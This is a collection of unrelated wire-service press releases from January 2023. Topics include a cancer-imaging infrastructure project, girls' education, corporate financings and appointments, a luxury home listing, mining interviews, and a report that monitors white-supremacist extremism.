The company will adapt its platform and provide the marketplace to meet the requirements related to the analysis, annotation and exploitation of data and third-party data transfer services through QP-Discovery. Quibim will lead the EUCAIM Data Preprocessing tools and services contributing to the development of imaging quality control and curation.

In addition, Quibim will be in charge of the image and feature harmonization pipelines to guarantee the minimization of batch effects on the datasets used to train models in the EUCAIM infrastructure, providing tools for the harmonization of feature-based datasets.

This project aligns with the company's primary goal: to turn imaging into a catalyzer of precision medicine. Quibim is a crucial ally in this initiative that aims to promote innovation and the deployment of digital technologies in the treatment and care of cancer to achieve more accurate and faster clinical decision-making, diagnosis, treatment and predictive medicine for cancer patients.

EUCAIM: Europe's most prominent medical image biobank

The EUCAIM project is a pan-cancer initiative that analyzes common elements between different types of tumors to develop more effective cancer therapies.

The project, which has 76 partners, aims to create a digital infrastructure for storing and analyzing cancer images without any identifying patient data. Furthermore, this federated project is the cornerstone of the European Commission initiated European Cancer Imaging Initiative, a flagship of Europe's Beating Cancer Plan (EBCP), which aims to foster innovation and deployment of digital technologies in cancer treatment and care, to achieve more precise and faster clinical decision-making, diagnosis, treatments, and predictive medicine for cancer patients.

The EUCAIM project brings together clinical data providers, researchers, research infrastructures and industry partners with innovative solutions that address the challenges of implementing such a cancer imaging infrastructure. The infrastructure will feature complex and simple oncological anomalies, with over 60 million anonymized cancer image data, and include data from more than 100,000 patients.

EUCAIM will provide access to health professionals, researchers, and innovators worldwide, while prioritizing data privacy and compliance with the General Data Protection Regulation (GDPR). European laws will govern the infrastructure and consider different countries' unique data management regulations. Quibim, with its extensive experience in data de-identification, will also provide tools for image deidentification to guarantee compliance with GDPR and for image annotation by means of segmentation masks.

The project builds upon the results of the work of the "AI for Health Imaging" (AI4HI) Network which consists of 5 large EU-funded projects on big data and Artificial Intelligence in cancer imaging: Chaimeleon, EuCanImage, ProCancer-I, Incisive and Primage.

"As a company, we seek to leverage the power of medical imaging to improve diagnosis of cancer and prediction of patient outcomes. We offer solutions that analyze these images in depth, performing 'virtual' and non-invasive biopsies, extracting critical information to diagnose diseases," points out Angel Alberich-Bayarri, CEO of Quibim. "By participating in the EUCAIM consortium, we seek to provide universal access to this information and make precision medicine available to different healthcare organizations," he concludes.

In addition, the project plans to implement at least 50 artificial intelligence (AI) algorithms, AI tools and clinical prediction models for researchers within the infrastructure by the end of the project. These AI tools can detect diseases before they become evident on radiological images, providing early detection and improving the chances of successful treatment. One example of these tools is Quibim's QP Prostate and QP Brain solutions, which can detect prostate and brain diseases by comparing new images with similar images from a database of known diagnoses.

Quibim, through its imaging biomarker panels, can analyze the mechanisms of diseases such as cancer, improve drug programs and monitor treatment efficacy. Using a whole-body analysis approach for each patient, Quibim is driving tissue-agnostic precision medicine, regardless of the type of cancer or where in the body it originated.

EUCAIM is a project co-funded by the European Union.

Photo - https://mma.prnewswire.com/media/1989158/Quibim_EUCAIM_Project.jpg

View original content to download multimedia:https://www.prnewswire.co.uk/news-releases/quibim-partners-with-european-commission-to-launch-eucaim-a-federated-infrastructure-for-cancer-images-data-in-europe-301729483.html
Join Global Citizen and share our app challenge to get every girl the education she deserves this World Education Day

NORTHAMPTON, MA / ACCESSWIRE / January 24, 2023 / Global Citizen

By Akindare Okunola

The benefits of education are immense - for one, your ability to read and understand the rest of this article, among many other things. As a society, we recognize the crucial value of education and that's why access to a quality education is a globally-recognized human right.

Decades of research have also shown that education is a major factor in the reduction of child mortality and poverty overall, as well as improving peace and stability. According to Malala Fund, when a country gives all its children secondary education, it cuts that country's risk of war in half. Education also improves our capacity to contribute to our communities and gives us many much-needed tools to navigate an ever-changing world. Education is important, for everyone.

Now, while there are more girls going to school in the world today than ever before, the situation of girls' education globally is still relatively dire - while the impact of COVID-19 has largely wiped out gains made in recent years. A recent World Bank report said: "Limited educational opportunities for girls, and barriers to completing 12 years of education, cost countries between $15 trillion and $30 trillion in lost lifetime productivity and earnings."

But this doesn't just impact countries, on the individual level, better educated women are more likely to be more informed about nutrition and health care, marry at a later age, and have fewer children - which are usually healthier than the children of less educated women. Such women are also more likely to participate in the labor market and earn higher incomes.

The longer this disparity in girls' education exists, the more the world loses and many more girls will not have the opportunity to reach their fullest potential.

Change starts with all of us knowing the problem. So we've put together a list of some truly shocking facts about girls' education that should get you inspired to take action right now to put an end to this inequality. Buckle down.

1. Worldwide, 130 million girls are out of school.

That's more than the population of the United Kingdom and France put together. According to the World Bank, "in low-income countries, secondary school completion rates for girls also continue to lag, with only 36% of girls completing lower secondary school compared to 44% of boys."

2. Girls who have no education are three times as likely to marry by age 18.

More than 40 million girls aged 15-19 worldwide are married or in a union, according to Save the Children, and it's estimated that 150 million more girls will be impacted by child marriage by 2030. Child marriage not only negatively impacts the lives of these girls, but also their children and ultimately, their countries.

Child brides are more likely to stop going to school, and experience early pregnancy, domestic violence, pregnancy complications, and malnourishment. Ending child marriage is one of the Global Goals and is a critical part of the fight to end extreme poverty.

3. 80% of people displaced by climate emergencies are female.

Extreme weather events, like many other global issues, disproportionately affect women and girls, which in turn has serious implications for girls' education. Displacement caused by climate disasters has been linked with early marriage, school drop-outs, and teen pregnancies, according to the UN's child agency UNICEF.

On the flip side, the Global Partnership for Education (GPE) estimates that for every additional year of schooling a girl receives, her country's resilience to climate disasters improves, indicating increased economic, governance, and social readiness to cope with climate change-related events.

4. Girls living in conflict and crisis areas are 90% more likely to be out of school.

According to Education Cannot Wait, girls who are facing conflict and crisis are 90% more likely to be out of school than girls in a non-crisis environment. Girls in these areas are also often unable to access critical health, educational, and social protections, and the World Bank estimates that girls are 2.5 times more likely to be out of school than boys in areas experiencing conflict or crisis. The situation is worse in some places than others. A recent example is Afghanistan, where girls have been banned from attending any schools or university.

"Girls in Afghanistan not only face challenges in returning to school, but the collapse of the economy, and the financial pressure from their parents and themselves," UNICEF Director of Education Robert Jenkins told Global Citizen in 2022.

5. 60 million girls are sexually assaulted on their way to or at school every year.

Sexual assault and violence has serious consequences for girls accessing and completing education. It also affects their mental and physical health and overall well-being, while also leading to lower school attendance and higher dropout rates, according to the World Bank.

Furthermore, school-related gender-based violence, which can result in adolescent pregnancies, stigma, and discrimination, affects an estimated 246 million children worldwide.

"If every girl received 12 years of schooling, child marriage would plunge by two-thirds, and girls' higher lifetime earnings would grow economies by as much as US$30 trillion," the GPE said in a recent report - highlighting the immense benefits the world stands to gain from paying attention to, and investing, in girls' education.

We must not give up on the millions of girls around the world who are being deprived of their human right to education, and unite to call on leaders across every level to prioritize education for girls. Join Global Citizens around the world today who are taking action to stand up for girls' education by completing the World Education Day Challenge in the Global Citizen app.

Flickr / Canada in Afghanistan

View additional multimedia and more ESG storytelling from Global Citizen on 3blmedia.com.

Contact Info:

Spokesperson: Global Citizen

Website: https://www.3blmedia.com/profiles/global-citizen

Email: info@3blmedia.com

SOURCE: Global Citizen

View source version on accesswire.com:https://www.accesswire.com/736543/Girls-Education-5-Shocking-Facts-Everyone-Should-Know
NORTHAMPTON, MA / ACCESSWIRE / January 24, 2023 / Originally published by Ericsson

Welcome to the latest edition of our Diversity & Inclusion News Round up. Today we are sharing some of our favorite articles and videos from 2022. Happy New Year!

Inclusion & tech

Ahead of the International Day of People with Disabilities on December 3rd, Apple released "The Greatest", a new campaign about accessibility. Worth watching!

Anti racism

Powerful video from Doctors Without Borders (MSF) - challenging their own practices to "not show the full picture", perpetuating racist stereotypes. Please watch!

Allyship

Microaggressions are subtle (often unintentional) behaviours that are demeaning to marginalized groups. This very insightful article looks at the importance of allies - and how we can act when we witness microaggressions at work.

Inclusive hiring

"Tear the Paper Ceiling" is a campaign from various organizations and companies (including Google and IBM) in the U.S. to remove barriers for workers without a bachelor's degree. The initiative encourages employers to allow upwards mobility for workers who have been skilled through alternative routes (including community colleges, bootcamps or on-the-job learning).

Well being

Interesting report from McKinsey about talent attraction and attrition, surveying over 13,000 people in 6 different countries. Companies need to start rethinking their offerings, as traditionally, people were attracted by career development and advancement - but this is being more and more replaced now by the ask for flexibility, well-being and meaningful work.

Proximity bias

Hybrid set-ups and remote work might negatively impact promotions - more actual facetime with people can lead to accidental favouritism due to so-called proximity bias. Interesting article with some insights what companies and employees can do to prevent this.

LGBTQ+

Great TEDx talk worth watching! Caroline Farberger speaks about her journey, and how she came to understand her own identity and started living as her true self.

Neurodiversity

Disability inclusion company Disability:IN, together with various partners like Microsoft, SAP and Ford, launched a new job marketplace, called Neurodiversity Career Connector. The portal will help to bridge the gap between inclusive employers and neurodivergent job seekers. Read more here.

Gender equality

In March, companies got caught out when tweeting about International Women's Day. A Twitter bot replied with their gender gap figures (openly available in the UK), which even led to some companies quickly deleting their original tweets. Read more here.

Race

Having an executive sponsor can have a significant impact on someone's career. According to new research, white employees are much more likely than Black employees to succeed in winning sponsorship, due to various reasons. Interesting article!

View additional multimedia and more ESG storytelling from Ericsson on 3blmedia.com.

Contact Info:

Spokesperson: Ericsson

Website: https://www.3blmedia.com/profiles/ericsson

Email: info@3blmedia.com

SOURCE: Ericsson

View source version on accesswire.com:https://www.accesswire.com/736545/DI-Weekly-News-Round-Up-Special-Edition-Best-of-2022
(Not for distribution to the US news wire services or for dissemination in the US)

VANCOUVER, BC / ACCESSWIRE / January 24, 2023 / Storm Exploration Inc. (TSX-V:STRM) ("StormEx" or the "Company") is pleased to announce that it has today closed the Company's non-brokered private placement, previously announced on January 18, 2023 (the "Offering"). The closing is subject to final acceptance of the TSX Venture Exchange.

Pursuant to the Offering, the Company has issued 8,343,836 units (the "Units") at a price of $0.12 per Unit, for aggregate gross proceeds of $1,001,260. Each Unit consists of one common share of the Company and one-half warrant (a "Warrant") each whole Warrant entitling the holder thereof to acquire an additional common share (the "Warrant Share") of the Company at an exercise price of $0.18 per Warrant Share for a period of 24 months from the date of issuance.

In connection with the closing of the Offering, StormEx has paid aggregate cash finders' fees of $32,467 to arm's length finders, representing 6% of the proceeds raised from subscriptions by certain placees introduced by the finders. The Company has issued to the finders share purchase warrants (the "Finder's Warrants") entitling the purchase of an aggregate 255,000 common shares, on the same terms as the Warrants.

The shares acquired by the placees under the Offering, and any shares which may be acquired upon the exercise of the Warrants and the Finder's Warrants, are subject to a hold period until May 25, 2023, in accordance with applicable Canadian securities legislation.

The proceeds from the Offering will be used for general working capital purposes.

Two related parties (as such term is defined in Multilateral Instrument 61-101 -Protection of Minority Security Holders in Special Transactions ("MI 61-101")) participated in the Offering and acquired an aggregate of 933,333 Units. This portion of the Offering constituted a related party transaction for the purposes of TSX Venture Exchange Policy 5.9 and MI 61-101. The Company relied on Section 5.5(a) of MI 61-101 for an exemption from the formal valuation requirement and Section 5.7(1)(a) of MI 61-101 for an exemption from the minority shareholder approval requirement of MI 61-101 as the fair market value of the transaction insofar as the transaction involved interested parties did not exceed 25% of the Company's market capitalization.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) has reviewed or accepts responsibility for the adequacy or accuracy of this release.

About Storm Exploration Inc.

Storm Exploration is a Canadian mineral exploration company focused on the discovery and development of economic precious and base metal deposits on four district-scale projects in northwest Ontario: Miminiska, Keezhik, Attwood and Gold Standard.

Forward Looking Information

This news release includes certain information that may constitute "forward-looking information" under applicable Canadian securities legislation. Forward-looking information includes, but is not limited to, completion of the Offering. Forward-looking information is necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking information, including the approval of the TSX Venture Exchange of the Offering. There can be no assurance that such information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, readers should not place undue reliance on forward-looking information. All forward-looking information contained in this press release is given as of the date hereof and is based upon the opinions and estimates of management and information available to management as at the date hereof. The Company disclaims any intention or obligation to update or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as required by law.

For further information, please contact:

Storm Exploration Inc.

+1 (604) 506-2804

info@stormex.ca

SOURCE: Storm Exploration Inc.

View source version on accesswire.com:https://www.accesswire.com/736471/Storm-Exploration-Closes-Non-Brokered-Private-Placement
Toronto, Ontario--(Newsfile Corp. - January 24, 2023) - Grove Corporate Services Ltd. and the Grove Group of Companies ("Grove") are pleased to announce the appointment of Mr. Barrington Miller as President. In his new role, Mr. Miller will be responsible for the development of Grove's brand into a nationally recognized provider of a wide range of corporate, administrative, and advisory services to public and private companies in Canada and internationally.

Barrington Miller brings more than 20 years of experience in the financial services industry, most recently serving as the Director of Issuer Engagement at the Canadian Securities Exchange where he was responsible for the retention of listed companies through a variety of marketing efforts. In addition, Mr. Miller was a primary touch point for business development and conducted educational and outreach initiatives both for, and about, the CSE. Prior to joining the Canadian Securities Exchange, Barrington spent nearly a decade working as a professional trader with Dundee Securities and Raymond James in Toronto as well as a commodities trader with Weyerhaeuser and a sugar trader with ED&F Man in New York and Port-au-Prince, Haiti. Barrington is a graduate of Princeton University.

"Grove has gathered an impressive team of professionals and established a unique offering of essential yet innovative products and services for public companies," said Mr. Miller. "The solid reputation for providing great service to the clients they serve contributed to the impressive growth of Grove's business over the past few years, opening up exciting new opportunities. I look forward to developing further efficient and effective service offerings through Grove while continuing to meet and exceed the needs of both existing and new clientele."

While many B2B relationships focus on one or two aspects of a client's needs, Grove's approach is distinct: Grove leverages its resources to achieve an understanding of clients and their business. This approach has allowed Grove to assemble a diversified pool of relevant talent and expertise valued by clients and allowing them to manage precious corporate and human resources to the greatest impact. The Grove Team consists of nearly 30 professionals and support staff, each bringing their knowledge and experience to bear on their clients' behalf. The result: a cohesive and committed support system which allows clients to focus on their BUSINESS - and ultimately, to Grove sharing in their success.

"The addition of Barrington to our executive team is an important step for Grove as we carry out our mission to become a leader and a trailblazer in the industry," said Stephen Coates, Founder and CEO. "Our team is passionate about the business we have built and the services we provide to our clients. I am immensely proud of what we've accomplished to date and confident that Barrington's leadership and vision will guide us through our next phase of growth as we continue to seek ways to better assist our clients with the care, concern and creativity that have become synonymous with our brand."

About Grove Group of Companies

Based in Toronto, Canada, Grove is a leading provider of administrative services for public and private companies, offering corporate administration; regulatory and governance support; finance & accounting; investor communications and marketing; and public listing advisory services. Additionally, Grove provides a full suite of annual meeting services through AGM Connect, and is one of the largest channels of new quotations on the OTC Premium Markets (OTCQB/OTCQX) through OTC Advisory Services .

Learn more: http://www.grovecorp.ca

Follow Grove on social media:

LinkedIn: @ Grove Corporate Services

Twitter: @ GroveCorporate

Facebook: @ Grove Corporate Services Ltd.

Instagram: @ grovecorp

YouTube: @ Grove Corporate Services

FOR ADDITIONAL INFORMATION, PLEASE CONTACT:

Stephen Coates, CEO: +1 416 642 1807, Ext. 301, stephen@grovecorp.ca

Barrington Miller, President: +1 416 642 1807, Ext. 308, barrington@grovecorp.ca

Media Requests:

Iryna Zheliasko, Corporate Communications: +1 647 249 9298, iryna@grovecorp.ca

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152326
Toronto, Ontario--(Newsfile Corp. - January 24, 2023) - Cypherpunk Holdings Inc. (CSE: HODL) (OTC Pink: CYFRF) (the "Company") is pleased to announce that it intends to commence a normal course issuer bid (the "NCIB"), under which it may purchase up to 8,003,535 common shares of the Company over a period of one year (the "NCIB Period"), representing approximately 5% of the Company's issued and outstanding common shares, with up to 3,201,414 common shares of the Company purchasable over any 30-day period within the NCIB Period, being 2% of the Company's issued and outstanding common shares. The NCIB is expected to commence on or about January 25, 2023, and will continue until the earlier of January 24, 2024, or the date by which the Company has acquired the maximum number of common shares which may be purchased under the NCIB.

All common shares purchased under the NCIB will be purchased on the open market through the facilities of the Canadian Securities Exchange at the prevailing market price of the common shares at the time of purchase, and shall be duly cancelled and returned to treasury.

The Company believes that the market price of the common shares may not fully reflect the value of its business and prospects, and as such it believes that purchasing its own common shares for cancellation is an appropriate strategy for increasing long-term shareholder value and represents an appropriate use of the Company's financial resources. The Company intends to appoint Canaccord Genuity as its broker to conduct the NCIB transactions on its behalf.

About Cypherpunk Holdings Inc.

Cypherpunk was established to invest in currencies, companies, technologies and protocols, which enhance or protect privacy. Its strategy is to make targeted investments in businesses and assets with strong privacy attributes, often within the blockchain ecosystem, including select cryptocurrencies. Current equity investments include Samourai Wallet, Wasabi Wallet, Chia, NGRAVE and GOAT.

Cautionary Note Regarding Forward-Looking Information:

Neither the Canadian Securities Exchange nor its Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.

This news release contains "forward-looking information" within the meaning of applicable securities laws. Generally, any statements that are not historical facts may contain forward-looking information, and forward-looking information can be identified by the use of forward-looking terminology such as "plans", "expects" or "does not expect", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or indicates that certain actions, events or results "may", "could", "would", "might" or "will be" taken, "occur" or "be achieved".

There is no assurance that the Company's plans or objectives will be implemented as set out herein, or at all. Forward-looking information is based on certain factors and assumptions the Company believes to be reasonable at the time such statements are made and is subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance, or achievements of the Company to be materially different from those expressed or implied by such forward-looking information. There can be no assurance that such forward-looking information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, readers should not place undue reliance on forward-looking information. Forward-looking statements are made based on management's beliefs, estimates and opinions on the date that statements are made and the Company undertakes no obligation to update forward-looking statements if these beliefs, estimates and opinions or other circumstances should change, except as required by law. Investors are cautioned against attributing undue certainty to forward-looking statements.



Officer/Director Contact:

Tony Guoga

Chief Executive Officer

tony@cypherpunkholdings.com

Office: 1-647-946-1300



Investor Relations Contact:

Veronika Oswald

Investor Relations

veronika@cypherpunkholdings.com

Office: 1-647-946-1300



To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152332
Perth, Western Australia--(Newsfile Corp. - January 24, 2023) - Besra Gold Inc (ASX: BEZ) (Besra or the Company) refers to the January 2023 Investor Update Announcement (Investor Update) released on the ASX Market Announcements Platform on 20 January 2023.

Besra wishes to clarify the Assay Results from Bekajang Drilling on page 3 have been previously reported in accordance with ASX Listing Rules 5.6 and 5.7 and JORC Code 2012 in the Announcement released on 22 November 2022 - "Exceptional High & Bonanza Grade Gold Intercepts Upgrade Bekajang's Potential" (Original Announcement).

Figures 1 and 2 on pages 5 and 6 respectively in the Investor Update, should be read in conjunction with the context of the Original Announcement.

Besra confirms the Investor Update does not contain new exploration results and the Company is not aware of any new information or data that materially affects the information included in the Original Announcement.

This announcement has been approved for release by Chief Executive Officer.

For further information:

Australasia

Ray Shaw

Chief Executive Officer

Email: ray.shaw@besra.com

North America

James Hamilton

Investor Relations Services

Email: jim@besra.com

Mobile: +1 416 471 4494

Forward-looking statements

Such statements are not a guarantee of future performance and involve unknown risks and uncertainties, as well as other factors which are beyond the control of Besra. Actual results and developments may differ materially from those expressed or implied by the forward-looking statements in connection with the Entitlement Offer depending upon a variety of factors. Nothing in this announcement should be construed as either an offer to sell or a solicitation of an offer to buy or sell securities.

ASX: BEZ

ARBN: 141 335 686

E: hq@besra.com

T: +61 89 429 8888

W: www.besra.com

A: 45 Ventnor Ave, Perth, Western Australia, 6005

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152336
Beverly Hills, California--(Newsfile Corp. - January 24, 2023) - Wilshire Partners, a real estate investment, construction management, and development firm dedicated to crafting boutique residential spaces in Los Angeles, has announced it is releasing BEVEL to the luxury housing market. The home, designed by developer Ori Ayonmike, adds to Wilshire Partners' growing collection of properties for an affluent clientele.





Wilshire

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/8668/152319_b30f52cad41c299b_001full.jpg.

"We are pleased to list BEVEL and to present home buyers with a fully furnished Los Angeles residence," says Wilshire Partners. "We look forward to taking clients on tours of this beautiful home so that they can see its modern features, including a personal gym with floor-to-ceiling steel windows; a 45-foot, zero-edge infinity pool; calacatta viola marble stairs; leathered stone-clad fireplaces; a 264-bottle wine cellar; and wide-plank floors that are made of French oak."

Manolo Langis

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/8668/152319_b30f52cad41c299b_002full.jpg.

Wilshire Partners explains that in addition to BEVEL, it is designing and listing more luxury homes in Los Angeles that appeal to homeowners who are looking for minimalism. The company currently has another project in the works in Mandeville Canyon called The Reserve, which is a reimagining of a 4-bed, 4-bath, 4,000+ ft.2 property with a 19,000 ft.2 lot. Wilshire Partners hopes to expand into other projects, such as luxury boutique hotels and multifamily spaces, in the future. In the meantime, it is focusing on luxury residential properties that are timeless classics.

Manolo Langis

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/8668/152319_b30f52cad41c299b_003full.jpg.

"Living well can include simplicity and serenity," Wilshire Partners says. "We will always focus on using symmetry and attention to detail to create residential properties that allow the owner to experience warmth and tranquility in its purest form."

Manolo Langis

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/8668/152319_b30f52cad41c299b_004full.jpg.

Wilshire Partners is a luxury real estate design, development and construction management company founded by Ori Ayonmike. Wilshire Partners creates boutique residential properties in exclusive Los Angeles neighborhoods, with a goal of providing homeowners with elegance, serenity, and enduring love.

Manolo Langis

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/8668/152319_b30f52cad41c299b_005full.jpg.

The founder of Wilshire Partners, Ori Ayonmike, has always had a passion for bringing a new creative outlook to real estate in Los Angeles. As one of the few Nigerian Developers, he hopes that by using his passion and doing truly exciting and innovative work, he can help spread the word and open doors to others who might not have considered a career as a real estate developer.

Ori Ayonmike

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/8668/152319_b30f52cad41c299b_006full.jpg

For more information about BEVEL and other luxury properties by Wilshire Partners, please see https://wilshirepartners.co/ or contact:

Ori Ayonmike

info@wilshirepartners.co

This property BEVEL is listed by Jason Peteler of Revel Real Estate and Matthew Yim of Coldwell Banker.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152319
VANCOUVER, BC / ACCESSWIRE / January 24, 2023 / The Power Play by The Market Herald has announced the release of new interviews with Orford Mining, Luminex Resources, West Vault Mining, RevoluGROUP, Fuse Cobalt and Nevgold Corp discussing their latest news.

The Power Play by The Market Herald provides investors with a quick snapshot of what they need to know about the company's latest press release through exclusive insights and interviews with company executives.

Orford Mining (TSXV:ORM) launches drill program on the Joutel Eagle South Gold Zone

Orford Mining (ORM) mobilized a diamond drill to the Joutel Eagle Gold Property to begin a 2,000-metre program on the South Gold Zone. The 2023 program will test 400 metres of strike along the South Gold Zone, the most developed mineralized zone on the property. President & CEO David Christie sat down with Sabrina Cuthbert to discuss the news.

For the full interview with David Christie and to learn about Orford Mining, click here.

Luminex Resources (TSXV:LR) yields more gold at Cuyes West

Luminex Resources (LR) has released drill results from six holes at Cuyes West. Luminex Resources Corp. is a Canada-based precious and base metals exploration and development company focused on gold and copper projects in Ecuador. Senior VP of Exploration Leo Hathaway met with Sabrina Cuthbert to discuss the results.

For the full interview with Leo Hathaway and to learn about Luminex Resources, click here.

West Vault (TSXV:WVM) upgrades Hasbrouck Gold Project to 51 per cent IRR

West Vault (WVM) has confirmed the Hasbrouck Gold Project's strong economics in a new pre-feasibility study (PFS) update. RESPEC Company LLC, based in South Dakota, completed the independent NI 43-101 study on the Nevada-based project. Highlights include a reduced pay-back period and an increase in IRR from 43 to 51 per cent. CEO Sandy McVey sat down with The Market Herald Canada's Sabrina Cuthbert to discuss the new study

For the full interview with Sandy McVey and to learn about West Vault, click here.

RevoluGROUP Canada (TSXV:REVO) issues international expansion update

RevoluTRANSFER has added 27 countries to its coverage, bringing the total to 103. RevoluSEND has grown its coverage from 120 to 133 countries. The company has also added SEPA Instant functionality, enabling instant transfers in Euros or local currencies to SEPA's 36 member-states. Steve Marshall, RevoluGROUP Canada (REVO) CEO, sat down with Sabrina Cuthbert to discuss the company's international expansion efforts.

For the full interview with Steve Marshall and to learn about RevoluGROUP, click here.

Fuse Cobalt (TSXV:FUSE) provides shareholder update

Fuse is continuing to search for lithium exploration assets with a focus on Nevada. The company will be changing its name to Fuse Battery Metals Inc.. The company has completed a diamond drill program at the Glencore Bucke Property and is awaiting assay results. Tim Fernback, Interim President & CEO of Fuse Cobalt Inc. (FUSE), met with Sabrina Cuthbert to share his outlook for 2023.

For the full interview with Tim Fernback and to learn about Fuse, click here.

NevGold (TSXV:NAU) starts drill program at Nutmeg Mountain

NevGold (NAU) has begun its inaugural drill program at Nutmeg Mountain, Idaho. The project hosts a 2020 mineral resource estimate of 910,000 Indicated ounces of gold (43.5 Mt at 0.65 g/t Au), and 160,000 Inferred ounces of gold (9.1 Mt at 0.56 g/t Au) with significant resource expansion and exploration upside. CEO Brandon Bonifacio met with Sabrina Cuthbert to discuss the news.

For the full interview with Brandon Bonifacio and to learn about NevGold, click here.

Interviews for The Power Play by The Market Herald are released daily. To learn more about the companies featured in The Power Play or to explore our other interviews visit? The Power Play by The Market Herald.

About The Market Herald

The Market Herald Canada is the leading source of authoritative breaking stock market news for self-directed investors. Our team of Canadian markets reporters, editors and technologists covers the entire listed company universe in Canada. We cover over 3,985 businesses, their people, their investors, and their customers. We write the stories that move the Canadian capital markets.

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View source version on accesswire.com:https://www.accesswire.com/736569/The-Power-Play-by-The-Market-Herald-Releases-New-Interviews-with-Orford-Mining-Luminex-Resources-West-Vault-Mining-RevoluGROUP-Fuse-Cobalt-and-Nevgold-Corp-Discussing-Their-Latest-News
WASHINGTON, DC / ACCESSWIRE / January 24, 2023 / The MEMRI Domestic Terrorism Threat Monitor (DTTM) project, which focuses on racially motivated violent extremism (RMVE), domestic terrorism, hate, and antisemitism, published today its report on "Global Neo-Nazi And White Supremacist Extremism In 2022: A Year In Review." The extensive report includes research from the DTTM team around the world covering dozens of groups, countries, and languages.

The report examines the state of neo-Nazi, white supremacist, and antigovernment activity over the past year, particularly in response to and with involvement in notable events: the first anniversary of the January 6 Capitol riot, the Canadian "Freedom Convoy," the Russia-Ukraine war, the appointment of Supreme Court Justice Ketanji Jackson, mass shootings including in Brooklyn, Buffalo, Uvalde, and Highland Park, the imprisonment of a neo-Nazi rapper in Austria, the cryptocurrency crash, Pride month, the murder in France of a 12-year-old girl by an Algerian immigrant, the Mar-a-Lago raid, and rapper Ye's (Kanye West's) decline into antisemitism, mentored by white supremacist Nick Fuentes. Other notable activity included an attention-grabbing antisemitic demonstration at Auschwitz and celebrations of Hitler's birthday.

MEMRI DTTM Director Dr. Simon Purdue wrote about the report: "This past year was another eventful one, with a number of paradigm-shifting global events fundamentally changing how many viewed the world. Like 2020 and 2021, 2022 also saw international conflict, extreme weather events, outbreaks of disease, and financial crises on national and global levels. As in these past years, this year too extremists took every opportunity to advance their ideology and promote their ideas. Neo-Nazis, white supremacists, antigovernment extremists, accelerationists, and various other violent extremist groups and individuals were very active in 2022. Some new groups emerged, some changed or evolved, and some faded into obscurity thanks either to dwindling support or legal challenges. Others maintained stability, capitalizing on current events and political turmoil to gain temporary prominence, and using social media effectively to cultivate their membership and support base during quieter months of the year."

The year was an intense one for the MEMRI DTTM team, which published hundreds of major reports on the online activities of extremists; 2023 looks to be similarly eventful. The team is continuing its 24/7, worldwide monitoring, tracking, translating, and analyzing of neo-Nazi, white supremacist, accelerationist, antigovernment, and misogynistic extremism in all its forms. A forthcoming DTTM report will present predictions for neo-Nazi and white supremacism in 2023.

Government agencies and media may request access to this report by emailing dttmsubs@memri.org with their full credentials.

ABOUT THE DOMESTIC TERRORISM THREAT MONITOR (DTTM) PROJECT

For over three years, the MEMRI DTTM team has been monitoring and analyzing the online activity of white supremacists, neo-Nazis, accelerationists, and other domestic extremists in the U.S. and worldwide. The project's main focus is these groups' activity as reported, discussed, and documented in their online communications, including incitement, calls to action (including to violent attacks), real-world activity such as rallies and vandalism, and recruitment and outreach efforts by these groups aimed at a wide range of populations. Most importantly, we monitor violent threats against Jewish organizations and institutions; the Black, Asian, and other minority communities; the LGBTQ+ community; political and other public figures; government officials and agencies, and government in general; and the public at large.

In 2022, our mission proved more crucial than ever, and our team is providing even more in-depth, up-to-the-minute research on domestic extremism. We are continuing to track more and more groups and individuals every day, and continuing to expand our reach and scope to match the ever-shifting landscape of domestic extremism.

Our team is on the cutting edge of research on domestic extremism. Register to purchase full website access or sign up for a free email subscription today.

The DTTM is designed to assist and support the work of government, law enforcement, counterterrorism, media, academic, and other professionals who need access to this timely information in their daily work. We invite those with government, law enforcement, academic, or similar credentials to purchase a full website access subscription to the DTTM. This subscription provides access to daily DTTM reports on major events and key trends in white supremacism and neo-Nazism in the U.S. and worldwide, along with profiles and information on the online activity of key groups and individuals. The DTTM is a vital resource for those whose work is related to domestic terrorism, extremism, and radicalization. To inquire about purchasing a full website access subscription, send an email to dttmsubs@memri.org with your name and organizational affiliation.

Additionally, anyone interested in issues related to domestic terrorism, neo-Nazism, white supremacism, and other extremism is eligible to sign up here for our free email subscription to receive complimentary DTTM reports, to be among the first to know about emerging threats, news, and events. Subscribers must provide full contact information; your subscription request will not be processed without it. Your subscription will be processed within one to two weeks.

ABOUT MEMRI

Exploring the Middle East and South Asia through their media, MEMRI bridges the language gap between the West and the Middle East and South Asia, providing timely translations of Arabic, Farsi, Urdu-Pashtu, Dari, Turkish, Russian, and Chinese media, as well as original analysis of political, ideological, intellectual, social, cultural, and religious trends.

Founded in February 1998 to inform the debate over U.S. policy in the Middle East, MEMRI is an independent, nonpartisan, nonprofit, 501(c)3 organization. MEMRI's main office is located in Washington, DC, with branch offices in various world capitals. MEMRI research is translated into English, French, Polish, Japanese, Spanish, and Hebrew.

MEMRI - Middle East Media Research Institute: www.memri.org

MEMRI TV - www.memri.org/tv

Jihad & Terrorism Threat Monitor (JTTM) - www.memri.org/jttm

Cyber & Jihad Lab (CJL) - www.memri.org/cjlab

MEMRI Twitter: https://twitter.com/memrireports/

MEMRI YouTube: https://www.youtube.com/channel/UC59Cpk70K2TwdmApJOTuW9g/videos

